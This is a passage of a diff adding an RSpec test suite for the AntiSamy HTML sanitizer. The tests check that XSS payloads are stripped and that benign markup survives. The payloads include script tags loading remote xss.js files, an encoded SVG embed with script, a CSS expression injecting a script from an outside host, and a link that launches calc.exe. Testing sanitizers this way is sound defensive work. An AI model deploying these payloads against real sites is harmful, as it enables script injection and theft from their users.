+ "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>" => "embed",
167
+ "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
168
+ "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
169
+ "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
170
+ "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
171
+ "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
172
+ "<SCRIPT SRC=http://ha.ckers.org/xss.js" => "script",
173
+ "<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>" => "style",
174
+ "<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>" => "calc.exe",
175
+ "<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->" => "javascript",
176
+ "<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">" => "<a style=",
177
+ "<a onblur=\"alert(secret)\" href=\"http://www.google.com\">Google</a>" => "blur",
178
+ "<b><i>Some Text</b></i>" => "<i />",
179
+ "<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">" => "font-family",
180
+ "<style type=\"text/css\"><![CDATA[P { margin-bottom: 0.08in; } ]]></style>" => "margin"
181
+
182
+ }.each_pair do |k,v|
183
+ it "should remove #{v} from #{k} for href attacks" do
184
+ r = AntiSamy.scan(k,policy_object)
185
+ r.clean_html.should_not include(v)
186
+ end
187
+ end
188
+
189
+ it "shoud import some stylesheets" do
190
+ input = "<style>@import url(http://www.owasp.org/skins/monobook/main.css);@import url(http://www.w3schools.com/stdtheme.css);@import url(http://www.google.com/ig/f/t1wcX5O39cc/ig.css); </style>"
191
+ r = AntiSamy.scan(input,policy_object)
192
+ r.clean_html.should_not be_empty
193
+ end
194
+
195
+ it "should not touch this url" do
196
+ input = "<a href=\"http://www.aspectsecurity.com\">Aspect Security</a>"
197
+ r = AntiSamy.scan(input,policy_object)
198
+ r.clean_html.should == input
199
+ end
200
+
201
+ it "should accept css3" do
202
+ input = "<style> div{transform:rotate(30deg);} </style>"
203
+ r = AntiSamy.scan(input,policy_object)
204
+ r.clean_html.should == input
205
+ end
206
+
207
+ end
208
+ end